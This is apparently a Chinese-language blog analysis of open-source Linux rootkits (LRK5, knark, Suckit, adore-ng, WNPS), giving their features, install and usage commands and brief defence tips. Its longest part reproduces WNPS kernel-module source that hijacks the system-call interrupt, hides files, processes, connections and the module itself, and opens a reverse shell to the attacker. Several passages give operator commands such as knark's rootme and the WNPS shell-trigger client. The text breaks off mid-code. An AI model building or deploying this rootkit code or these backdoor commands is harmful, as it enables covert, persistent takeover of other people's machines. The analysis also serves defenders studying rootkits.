Linux Rootkit Sample && Rootkit Defenser Analysis
目录
1. 引言 2. LRK5 Rootkit 3. knark Rootkit 3. Suckit(super user control kit) 4. adore-ng 5. WNPS 6. Sample Rootkit for Linux 7. suterusu 8. Rootkit Defense Tools 9. Linux Rootkit Scanner: kjackal
1. 引言
This paper attempts to analyze the characteristics from the attacker's point of view about the currentopen source rootkit key technology, hope can find common features of rootkit damage andhidden, and developed a general strategy for rootkit defense and counter method
In simple terms, rootkit can be divided into the following categories
目前已经存在的rootkit攻击思路
1. 后门程序使本地用户取得root权限 1) 设置uid程序 黑客在一些文件系统理放一些设置uid脚本程序。无论何时它们只要执行这个程序它们就会成为root,关于uid权限标志位相关知识,请参阅另一篇文章 http://www.cnblogs.com/LittleHann/p/3862652.html 2) 系统木马程序 黑客替换一些系统程序,如"login"程序。因此, 只要满足一定的条件,那些程序就会给黑客最高权限 3) cron后门 黑客在cron增加或修改一些任务,在某个特定的时间程序运行,他们就可以获得最高权限 2. 后门程序给远程用户以最高访问权限 1) ".rhost"文件 ".rhosts"文件是用户在linux/unix下用于建立双机互信的配置文件。一旦"黑客帐号"被加入某个用户的.rhosts文件里,任何人在任何地方都可以用这个账号来登陆进来而不需要密码 2) ssh认证密钥 黑客把他自己的公共密钥放到目标机器的ssh配置文件"authorized_keys"里, 他可以用该账号来访问机器而不需要密码 3) bind shell 3.1) 黑客绑定一个shell到一个特定的tcp端口。任何人telnet这个端口都可以获得交互的shell 3.2) 基于udp的后门通道 3.3) 未连接的tcp,即任意端口激活的(wnps)的后门rootkit 3.4) 基于icmp协议的隐蔽通道 4) 木马服务程序 任何打开的服务都可以成为木马来为远程用户提供访问权限。例如: 4.1) 利用inetd服务在一个特定的端口来创建一个bind shell 4.2) 通过ssh守护进程提供访问途径 3. 隐藏文件 入侵者需要做如下事情: 1) 替换一些系统常用命令如"ls", "du", "fsck" 这可以通过重定向可执行文件技术达到,通过截获sys_execve(),无论何时系统尝试去执行"ls"程序的时候, 它都会被重定向到入侵者给定的其他程序。 2) 在底层方面,他们通过把硬盘里的一些区域标记为坏块并把它的文件放在那里 3) 或者把一些文件放入引导块里 4) read系统调用劫持 4. 隐藏进程 1) 替换"ps"、"top"程序 2) 修改/proc下的内核变量 3) 劫持read、getdents64系统调用,直接对指定进程进行过滤 5. 隐藏网络连接状态 1) 修改/proc/net 2) 对netfilter提供的回调点注册过滤函数 6. 隐藏sniffer 1) 隐藏网络接口的杂拨模式 通过替换劫持sys_ioctl()系统调用实现 7. 隐藏rootkit模块本身 1) 隐藏lkm本身 一个优秀的lkm程序必须很好地隐藏它自己。系统里的lkm是用单向链表连接起来的, 为了隐藏lkm本身我们必须把它从链表中移走以至于lsmod这样的命令不能把它显示出来。 2) 隐藏符号表 通常的lkm中的函数将会被导出以至于其他模块可以使用它。因为我们是入侵者, 所以隐藏这些符号是必须的。幸运的是, 有一个宏可以供我们使用:"EXPORT_NO_SYMBOLS"。 把这个宏放在lkm的最后可以防止任何符号的输出
Relevant Link:
http://www.cnblogs.com/LittleHann/p/3870974.html http://staronmytop.blog.51cto.com/6366057/1119475 http://www.xfocus.net/articles/200104/159.html
2. LRK5 Rootkit
0x1: Installation && Usage
download sourcecode ./configure -n make all install
0x2: Features
通过替换用户态(ring3)的指令文件(即/bin、/sbin、/usr/bin下的默认指令对应的可执行文件)来实现后门rootkit的目的,这是一种指令劫持的思路
lrk5进行的替换如下:
1. chfn 这个指令用来修改用户的finger information(指纹信息),作为后门的chfn可以接收用户输入的password,从而进入rootkit模式 2. chsh 切换shell的指令,作为后门的chfn可以接收用户输入的password,从而进入rootkit模式 3. crontab 使用预设的"正常"的crontab(计划任务)给用户看,从而将rootkit设置的后门启动项隐藏起来 4. du 和ls作用类似,rootkit劫持后会隐藏rootkit相关文件,从而欺骗用户 5. find find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression] 寻找指定文件的指令,rootkit劫持后会隐藏rootkit相关文件,从而欺骗用户 6. ifconfig rootkit劫持后会隐藏"混杂模式"的标志位(混杂模式被rootkit用来进行网络流量嗅探) 7. inetd 用户后门访问的远程访问服务器 8. killall rootkit劫持了原本的"杀进程kill、killall"指令之后,会在本地维护一份"ROOTKIT_PROCESS_FILE"列表,凡是在这个列表中的进程都禁止杀死,以此对抗系统管理员使用kill命令强行结束rootkit后门程序 9. login rootkit劫持了login程序之后,除了保证原本的正常用户登录过程,还允许rootkit种植者使用一种叫"万能密码"的机制,即只要用户输入的密码是一个指定的"万能密码",则用户可以以任何身份登录任何用户 10. ls 对指定文件列表中的文件进行隐藏 11. netstat 对当前网络连接状态进行修改、隐藏 1) type 0: hide uid 2) type 1: hide local address 3) type 2: hide remote address 4) type 3: hide local port 5) type 4: hide remote port 6) type 5: hide UNIX socket path example: 1) 0 500: Hides all connections by uid 500 2) 1 128.31: Hides all local connections from 128.31.X.X 3) 2 128.31.39.20: Hides all remote connections to 128.31.39.20 4) 3 8000: Hides all local connections from port 8000 5) 4 6667: Hides all remote connections to port 6667 6) 5 .term/socket: Hides all UNIX sockets including the path 12. passwd Local user->root. Enter your rootkit password instead of your old password. 13. ps 修改、隐藏执行进程 An example data file is as follows: 1) 0 0 Strips all processes running under root 2) 1 p0 Strips tty p0 3) 2 sniffer Strips all programs with the name sniffer 4) 3 hack Strips all programs with 'hack' in them,ie. proghack1, hack.scan, snhack etc. 14. sshd 可以实现键盘、密码记录的功能 15. syslogd 修改、隐藏某些日志信息
lrk5为每一种需要"劫持"的指令程序都编写了一个对应的ELF程序,从这里可以看出,lrk5只是在进行指令的劫持和替换,属于第一代rootkit,代码量较多,隐蔽性较差
0x3: Defense Strategy
针对这种rootkit,可以很容易地通过对系统关键目录建立"黄金基准hash库",只要匹配到指定敏感目录中的文件的hash值产生变化(即被修改和替换了),即表明当前系统遭受到了rootkit的攻击
典型的如: tripwire
lrk5进行的替换如下:
Relevant Link:
http://packetstormsecurity.com/files/10533/lrk5.src.tar.gz.html https://github.com/eqmcc/rk/tree/master/lrk5
3. knark Rootkit
0x1: Installation && Usage
make
insmod knark
0x2: Features
Knark具有以下特性:
1. 隐藏或显示文件或目录 2. 隐藏TCP或UDP连接 3. 程序执行重定向 4. 非授权地用户权限增加("rootme") 5. 改变一个运行进程的UID/GID的工具 6. 非授权地、特权程序远程执行守护进程(后门端口) 7. Kill –31: 隐藏运行的进程 8. 调用表修改: rootkit通过修改导出的系统调用表,对与攻击行为相关的系统调用进行替换,隐藏攻击者的行踪
该软件包的核心软件是knark.c,它是一个Linux LKM(loadable kernel-module)
当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:
1. author: 作者自我介绍 2. files: 系统中隐藏文件列表 3. nethides 在/proc/net/[tcp udp]隐藏的字符串 4. pids: 被隐藏的pids列表,格式类似于ps命令输出 5. redirects: 被重定向的可执行程序入口列表
该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o)
1. hidef: 用于在系统中隐藏文件 在/usr/lib目录下创建子目录hax0r,然后运行命令"./hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令都不能显示该目录及其子目录 2. unhidef: 用来恢复被隐藏的文件 1) 可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件 2) 通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏 3. ered: 用来配置重定向程序的执行(进程劫持) 拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的
sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向 4. nethide: 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串 netstat命令就不会得到指定的链接信息。通过命令/nethide ":ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp udp]读取时进行"grep -v"操作。 要理解knark这个功能的作用,我们需要理解使用该程序从/proc/net/[tcp udp]得到的输出的意义 1) 假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含: Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED 2) 现在我们来检测文件/proc/net/tcp: cat /proc/net/tcp 则输出可能包含入下内容: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 17573 1 f4a4a540 99 0 0 10 -1 3) 若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。
因此"./nethide "0100007F:0016"将隐藏to/from localhost:22相关的链接信息 5. rootme: 用来实现非特权用户获得root访问权限 1) "./rootme /bin/sh" 实现以root身份运行/bin/sh 2) "./rootme /bin/ls -l /root" 仅仅以root身份运行单个命令。 6. taskhack: 用来改变某个运行着的进程的uid和gid ./taskhack -alluid=0 pid 该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0(root) 7. rexec: 用来远程执行knark-server的命令: ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 这命令将从www.microsoft.com:53发送一个伪装的udp数据包到haxored.server.nu:53,来运行haxored.server.nu的命令"/bin/touch /LUDER" 入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等
0x3: Defense Strategy
knark rootkit属于LKM层的rootkit,不容易通过普通方法发现和清除,建议使用的方法有
1. knarkfinder.c来发现Knark隐藏的进程 2. 以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此任何系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。 3. 使用kstat来检测 4. 去除LKM机制 1) 创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了 2) 使用lcap实现系统启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块
Relevant Link:
http://packetstormsecurity.com/files/24853/knark-2.4.3.tgz.html http://netsecurity.51cto.com/art/200801/63989.htm http://netsecurity.51cto.com/art/200801/63989_1.htm http://netsecurity.51cto.com/art/200801/63989_2.htm http://antivirus.downloadatoz.com/5480,linux-rootkit-knark,removal-tips.html
3. Suckit(super user control kit)
0x1: Installation && Usage
make skconfig
输入各种参数
make
0x2: Features
1. sk(suckit(super user control kit))后门服务端程序为静态ELF文件,压缩之后就几十K的大小,这意味着suckit对目标系统占用的资源较少,相对不容易出现CPU飙高等性能异常现象 2. 通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门,端口复用 通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门回连到我们的客户端,并且客户端有自动扫描功能,它会自动扫描肉鸡开放的端口并发送激活指令。特别在一些有防火墙的环境里,限制了回连的目标端口,我们还可以指定
特殊的回连端口来绕过防火墙,比如回连到80、443这种一般都开放的TCP端口 3. sk后门 SK后门有一个TTY Sniffer(即"键盘记录"),不过它不但可以记录控制台的操作,还可以记录远程连接的操作 它根据程序指定的关键字抓取TTY记录,主要包括ssh、passwd、telnet、login等关键字。通过这个功能,我们可以很容易地抓到相关密码而扩大战果,特别是在Root密码设置十分BT的时候,我们无法用John来暴力破解,TTY Log就
可以记录到Root的密码,甚至是其他Linux的Root密码 3. sk采用动态隐藏的方式来隐藏指定的内容,包括 1) 文件 2) 进程 3) 网络连接 当我们使用SK的客户端登录到肉鸡之后,除了文件是根据prefix隐藏之外,其他的一切操作都是隐藏的。这个功能十分方便,只要我们使用SK的客户端登录之后,就可以放心地操作了,不需要担心什么东西没有隐藏而被管理员发现。相
比之下,adore-ng这类Rootkit就有点不人性化了,必须使用客户端手动隐藏指定的进程、网络和文件 4. sk可以感染系统的ELF文件达到自启动的目的,也可以通过替换系统的init文件来实现自动启动
相较于其他的LKM注入、劫持型的rootkit而言,SK并没有修改系统调用跳转表的内容,而是:
1. sk首先拷贝了系统调用表 2. 然后将拷贝的系统调用表按照入侵者的意图进行修改成执行入侵者改写的系统调用响应函数 3. 然后将system_call从旧的系统调用表上移开,指向新的系统调用表
Ps: 这种技术属于早些年的"修改内核对象达到劫持systemcall系统调用"的技术,对于linux下的系统调用劫持,还有很多别的姿势
http://www.cnblogs.com/LittleHann/p/3854977.html
0x3: Defense Strategy
SK是通过读和写kmem来控制系统的,kmem是一个字符设备文件,是计算机主存的一个影像。它可以用于测试甚至修改系统,通过禁止写kmem可以从一定程度上防御sk rootkit
Relevant Link:
http://www.hacker.com.cn/uploadfile/2013/0416/20130416020443596.pdf
4. adore-ng
0x1: Installation && Usage
mv Makefile.2.6 Makefile make
0x2: Features
相比于其他使用LKM相关的rootkit技术,adore-ng rootkit并不修改系统调用层的内容,而是通过修改VFS(Virtual Filesystem Switch)层的具体处理函数,如替换VFS层的 file_ops等函数,来实现信息隐藏目的
1. adore-ng稳定性较好 2. adore-ng后门服务端程序可以根据具体环境进行动态编译 3. 可以使用客户端手动的去隐藏指定的进程、网络和文件; 4. adore-ng可以可以通过插入或者替换系统模块来实现自动启动
0x3: Defense Strategy
对于adore-ng的rootkit攻防,我们可以学习到的是:
1. 有很多的rootkit defenser软件会对系统调用进行安全性检测,看是否被替换或者增加了可疑的系统调用模块(LMK注入) 2. adore-ng不拦截系统调用,而是拦截具体文件系统的回调函数,因为本身文件系统(VFS)的回调函数就是动态注册的,就是动态变化的,那么反黑软件自然就不能简单下结论说这个函数被黑掉了,因此这个rootkit能获得更好的隐
蔽性
5. WNPS
0x1: Installation && Usage
wnps的安装必须要注意的一个问题是linux内核版本的问题,这里建议使用red hat enterprise as4 kernel 2.6.9版本,太高版本在编译wnps的时候可能会出现问题
make && make install
编译完成后,要注意的是,我们的client和肉鸡server使用的"tcp标志密码"一定要一致,通过config.进行配置,这个"tcp标志密码"用于附带在tcp数据报中,用于激活肉鸡端的shell开关,因此,本质上来说,wnps的使用应该分成两步: 本地监听一个端口等待肉鸡反连、向肉鸡发送密码激活肉鸡去反连、获得shell
这两步可以通过wnps提供的客户端自动完成
/* 目标肉鸡的ip是192.168.207.135 1. client会默认监听本地8899(可配置) 2. client会自动轮询从21端口开始向用户指定的远程肉鸡建立连接(因此必须先建立tcp连接才能发送带"tcp标志密码"的tcp数据包) 3. 和肉鸡建立好tcp连接之后,先肉鸡发送带"tcp标志密码"的tcp数据包 4. 肉鸡的wnps.o模块因为注册了netfilter的回调函数,当在tcp数据报中检测到了关键字之后,会自动开启shell,并进行内核级的反向连接 5. 后门建立成功 */ ./client -tcp 192.168.207.135
0x2: Features
Wnps(wnps is not poc shell)是一款运行在Linux 2.6.x平台的rootkit+backdoor程序
1. 隐藏 1) 隐藏指定文件 2) 隐藏文件中"特定的内容" 3) 隐藏进程 4) "动态隐藏"网络连接、进程(类似sk的动态隐藏技术) 5) 隐藏自身模块 6) 保护相关模块、进程、文件不被跟踪 2. 密码记录(ssh, su, mysql, pop3, passwd etc) 3. 内核反弹后门(Backdoor功能) 1) 正向连接后门 2) 定时回连后门 回连部分可以稳定的与客户端进行通讯,上线方式为HTTP、或DNS 3) 置定时自动回连 4. 稳定性和通用性: 1) 兼容性 wnps能在2.6.0-2.6.24之间的x86,amd平台下稳定运行,跨平台简易安装拿着一个wnps.ko就可以管理所有2.6内核的机器,所有要做的事情只是执行insmod wnps.ko 2) 模块注射 比adore-ng更稳定的模块注射方式 5. 通讯加密 6. 开机可以自动运行 7. 客户端是一个可交互的控制台界面, 能控制多台主机
0x3: Code Analysis
这里以xfocus上的beta版wnps为样本进行分析
hook.h
#ifndef HOOK_H #define HOOK_H #define PROC_HOME "/proc/kallsyms" #define SYSENTER_ENTRY "sysenter_entry" #define BUFF 100 #define READ_NUM 256 #define ORIG_EXIT 19 #define DIRECALL 42 #define SALTO 5 #define SKILL 49 #define SGETDENTS64 57 #define SREAD 65 #define DAFTER_CALL 70 #define DNRSYSCALLS 10 #define ASMIDType( valor ) \ __asm__ ( valor ); #define JmPushRet( valor ) \ ASMIDType \ ( \ "push %0 \n" \ "ret \n" \ \ : : "m" (valor) \ ); #define CallHookedSyscall( valor ) \ ASMIDType( "call *%0" : : "r" (valor) ); struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; atomic_t read_activo; spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED; unsigned int system_call_addr; void *sys_call_table_addr; void **sys_call_table; void *sysenter_entry; unsigned long dire_call,dire_exit,after_call; int errno; #endif
hook.c
/* * WNPS V 0.26 beta2 *Wnps is not poc shell* * * Linux rootkit for x86 2.6.x kernel * */ #ifndef __KERNEL__ #define __KERNEL__ #endif #ifndef MODULE #define MODULE #endif #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/types.h> #include <linux/stddef.h> #include <linux/unistd.h> #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/string.h> #include <linux/mm.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/in.h> #include <linux/skbuff.h> #include <linux/netdevice.h> #include <linux/file.h> #include <linux/proc_fs.h> #include <linux/namei.h> #include <linux/dirent.h> #include <linux/kobject.h> #include <linux/ip.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/list.h> #include <linux/ptrace.h> #include <linux/spinlock.h> #include <linux/tty.h> #include <linux/tty_driver.h> #include <linux/timer.h> #include <linux/jiffies.h> #include <net/tcp.h> #include <asm/processor.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include "config.h" #include "hook.h" #include "syscalls.h" #include "host.h" static inline my_syscall0(pid_t, fork); asmlinkage long (*orig_getdents64)(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t (*orig_read)(int fd, void *buf, size_t nbytes); //asmlinkage ssize_t (*orig_write)(int fd,void *buf,size_t count); int (*old_tcp4_seq_show)(struct seq_file *,void *); asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes); asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count); asmlinkage long Sys_chdir(const char __user *filename); asmlinkage int Sys_kill(pid_t pid,int sig); asmlinkage long Sys_ptrace(long request,long pid,long addr,long data); /* * function in shell.c */ extern unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); extern int netfilter_test_init(void); extern void netfilter_test_exit(void); extern int kshell(int ip,int port); extern __u32 wnps_in_aton(const char *str); extern struct nf_hook_ops nfho; extern unsigned long myowner_port; extern unsigned long myowner_ip; extern unsigned int wztshell; extern char connect_ip[20]; /* * function in klogger.c */ extern void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count); extern void (*old_receive_buf)(struct tty_struct *,const unsigned char *,char *,int); int hook_init(void); static char read_buf[BUFF]; unsigned long sysenter; /* static struct timer_list my_timer; new_idt是用来进行系统调用中断劫持的idt跳转例程 */ void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } /* set_idt_handler: 劫持指定的中断例程(即劫持idt中的某个元素) 这里传入的是system_call,即劫持系统调用这个idt中断例程 */ void set_idt_handler(void *system_call) { unsigned char *p; unsigned long *p2; p = (unsigned char *) system_call; while (!((*p == 0x0f) && (*(p+1) == 0x83))) { p++; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; while (!((*p == 0x0f) && (*(p+1) == 0x82))) { p++; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; } /* sysenter属于系统调用中的一个调用(它有自己的调用号) set_sysenter_handler()负责劫持sysenter(快速系统调用) */ void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; } while (!((*p == 0x0f) && (*(p+1) == 0x83))) { p--; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; } void hook(void) { register int eax asm("eax"); /* 根据传入的系统调用号执行指定的hooked函数 */ switch(eax) { case __NR_getdents64: CallHookedSyscall(Sys_getdents64); break; case __NR_read: CallHookedSyscall(Sys_read); break; /* case __NR_write: CallHookedSyscall(Sys_write); break; */ default: JmPushRet(dire_call); break; } JmPushRet( after_call ); } /** * read_kallsyms - find sysenter(快速系统调用) address in /proc/kallsyms. * * success return the sysenter address,failed return 0. */ int read_kallsyms(void) { mm_segment_t old_fs; ssize_t bytes; struct file *file = NULL; char *p,temp[20]; int i = 0; file = filp_open(PROC_HOME,O_RDONLY,0); if (!file) { return -1; } if (!file->f_op->read) { return -1; } old_fs = get_fs(); set_fs(get_ds()); while((bytes = file->f_op->read(file,read_buf,BUFF,&file->f_pos))) { if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) { while (*p--) { if (*p == '\n') { break; } } while (*p++ != ' ') { temp[i++] = *p; } temp[--i] = '\0'; sysenter = simple_strtoul(temp,NULL,16); #if DEBUG == 1 printk("0x%8x\n",sysenter); #endif break; } } filp_close(file,NULL); return 0; } /* 通过/proc/kallsyms获得sysenter的地址 */ void *get_sysenter_entry(void) { void *psysenter_entry = NULL; unsigned long v2; if (boot_cpu_has(X86_FEATURE_SEP)) { rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); } else { #if DEBUG == 1 printk("[+] serach sysenter_entry..."); #endif /* 通过/proc/kallsyms获得sysenter的地址 */ read_kallsyms(); if (sysenter == 0) { #if DEBUG == 1 printk("[-] Wnps installed failed.\n"); #endif } return ((void *) sysenter); } return(psysenter_entry); } /* 搜索sys_call_table的地址 这里采用的是内存汇编代码暴力搜索的思路,因为syscall()系统调用对应的汇编代码是: 0x008514ff */ void *get_sct_addr(unsigned int system_call) { unsigned char *p; unsigned long s_c_t; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; } dire_call = (unsigned long) p; p += 3; s_c_t = *((unsigned long *) p); p += 4; after_call = (unsigned long) p; while (*p != 0xfa) /* cli */ p++; dire_exit = (unsigned long) p; return((void *) s_c_t); } /* Sys_getdents64调用劫持实现进程的隐藏 对于linux系统,可以获得当前进程的指令有: 1. ll /proc 2. ps 3. top 这些系统指令到了内核系统调用这个层面,全都需要通过"getdents64"这个系统调用进行实现 wnps在对getdents64进行劫持的函数中,对指定进程信息进行了过滤,从而获得到了比简单修改/proc更好的效果 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; } /* Sys_read是我们的hook函数,实现对read系统调用的劫持 在这个hooded_read系统调用中,我们实现了kernel space的soclet反向连接,大致流程如下 if(wztshell == 1) { //wztshell==1表明当前rootkit的shell已经被激活(已经通过netfilter过滤机制接收到了指令段发送的激活指令) 从肉鸡端主动向远程主控方建立tcp socket连接 } */ asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes) { ssize_t ret; /* we will start a shell */ if (wztshell == 1) { #if DEBUG == 1 printk(KERN_ALERT "[+] got my owner's packet.\n"); #endif wztshell = 0; if (!fork()) { kshell(myowner_ip,myowner_port); } } /* 在劫持函数的最后要继续执行原本系统调用的功能,保证系统运行的正常 */ ret = orig_read(fd,buf,nbytes); return ret; } /* asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count) { char *replace = " "; char *tmp_buf,*p; tmp_buf = (char *)kmalloc(READ_NUM,GFP_KERNEL); if (tmp_buf == NULL) return orig_write(fd,buf,count); copy_from_user(tmp_buf,buf,READ_NUM - 1); if (connect_ip[0] != 0 || connect_ip[0] != '\0') { if ((p = strstr(tmp_buf,connect_ip)) != NULL) { // spin_lock(&wnps_lock); strncpy(p,replace,strlen(replace)); // spin_unlock(&wnps_lock); copy_to_user((void *)buf,(void *)tmp_buf,READ_NUM); kfree(tmp_buf); return count; } } kfree(tmp_buf); return orig_write(fd,buf,count); } */ char *strnstr(const char *haystack,const char *needle,size_t n) { char *s = strstr(haystack,needle); if (s == NULL) { return NULL; } if (s - haystack + strlen(needle) <= n) { return s; } else { return NULL; } } int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { int retval = old_tcp4_seq_show(seq, v); char port[12]; sprintf(port,"%04X",ntohs(myowner_port)); /* 过滤(屏蔽)掉指定的tcp连接状态 */ if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ) { seq->count -= TMPSZ; } return retval; } /* hook.o模块入口初始化函数 */ int wnps_init(void) { /* struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; */ struct descriptor_idt *pIdt80; /* 指向当前模块的指针 在module.h 中 THIS_MODULE的定义如下: extern struct module __this_module; #define THIS_MODULE (&__this_module) 即是保存了__this_module这个对象的地址,那这个__this_module在哪里定义呢?这就要从module的编译说起啦,如果编译过模块就会发现,会生成*.mod.c这样的一个文件,打开这个文件,就会发现,类似下面的定义: struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif }; http://www.cnblogs.com/ziziwu/archive/2012/07/06/2578283.html */ struct module *m = &__this_module; /* include/net/tcp.h struct tcp_seq_afinfo { char *name; sa_family_t family; const struct file_operations *seq_fops; struct seq_operations seq_ops; }; */ struct tcp_seq_afinfo *my_afinfo = NULL; /* struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; int deleted; kdev_t rdev; }; proc_net->subdir用于获取"linux虚拟通道/proc/net下的接口" 关于/proc请参阅另一篇文章 http://www.cnblogs.com/LittleHann/p/3883713.html */ struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init) { list_del(&m->list); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,11) kobject_unregister(&m->mkobj.kobj); #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,8) kobject_unregister(&m->mkobj->kobj); #endif __asm__ volatile ("sidt %0": "=m" (idt48)); /* idt表是一个"8字节"长度的元素数据 idt48.base + 8*0x80: 系统调用对应的中断号是0x80 */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); /* 系统调用例程的基地址 */ system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 这是一种很好的调试编码方式,将需要调试的开关用宏来控制,可以很方便的在内核编程的时候进行printk调试 */ #if DEBUG == 1 printk(KERN_ALERT "[+] system_call addr : 0x%8x\n",system_call_addr); #endif /* 搜索sys_call_table的地址 */ sys_call_table_addr = get_sct_addr(system_call_addr); #if DEBUG == 1 printk(KERN_ALERT "[+] sys_call_table addr : 0x%8x\n",(unsigned int)sys_call_table_addr); #endif sys_call_table = (void **)sys_call_table_addr; /* 获取sysenter的入口地址 */ sysenter_entry = get_sysenter_entry(); wztshell = 0; atomic_set(&read_activo,0); /* 因为我们需要劫持read这个系统调用,所以在hook前需要保存原始的函数地址 read这个系统调用和文件、目录、设备的读写有关,我们要进行rootkit的隐藏工作,这个系统调用的hook是必不可少的 */ orig_read = sys_call_table[__NR_read]; //orig_write = sys_call_table[__NR_write]; /* getdents64这个系统调用涉及到目录、文件的枚举(例如ls命令) http://www.cppblog.com/momoxiao/archive/2010/04/04/111594.html */ orig_getdents64 = sys_call_table[__NR_getdents64]; /* 通过IDT寄存器劫持当前系统中的"系统调用中断idt例程" */ set_idt_handler((void *)system_call_addr); /* 通过sysenter劫持当前系统中的"系统调用中断idt例程" */ set_sysenter_handler(sysenter_entry); /* 找到/proc/net/tcp这个目录 */ while (strcmp(my_dir_entry->name, "tcp")) { my_dir_entry = my_dir_entry->next; } if((my_afinfo = (struct 